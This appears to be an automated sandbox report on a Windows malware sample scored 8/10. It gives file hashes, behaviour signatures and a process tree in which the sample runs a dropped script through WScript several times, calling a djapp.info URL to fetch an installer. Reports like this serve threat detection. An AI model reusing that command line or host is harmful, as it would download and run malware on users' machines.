Analysis

  • max time kernel
    88s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 06:36

General

  • Target

    acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe

  • Size

    184KB

  • MD5

    51028ba4650afbe5747392e988f84fb6

  • SHA1

    ca089c310218e272e09985f7f6eefb37f7d349d2

  • SHA256

    acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc

  • SHA512

    5ad9ade0be112b1fb5eba1ea0bbb9bf3f5533e6b79f0b4bd40675b61ef8c59c91a2266f0f5154d025e392099ea2e127621fee054a0638e99fdd1547fb860508b

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35:/7BSH8zUB+nGESaaRvoB7FJNndnU

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe
    "C:\Users\Admin\AppData\Local\Temp\acff5de4adf00020b2e4d1b4b898e4a2a43c22b4f398630fd45d0bfba48208dc.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe
      2⤵
      • Blocklisted process makes network request
      PID:4380
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe
      2⤵
      • Blocklisted process makes network request
      PID:220
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe
      2⤵
      • Blocklisted process makes network request
      PID:4232
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe
      2⤵
      • Blocklisted process makes network request
      PID:2280
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA378.js" http://www.djapp.info/?domain=ILhbpZNKOf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufA378.exe
      2⤵
      • Blocklisted process makes network request
      PID:400

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fufA378.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76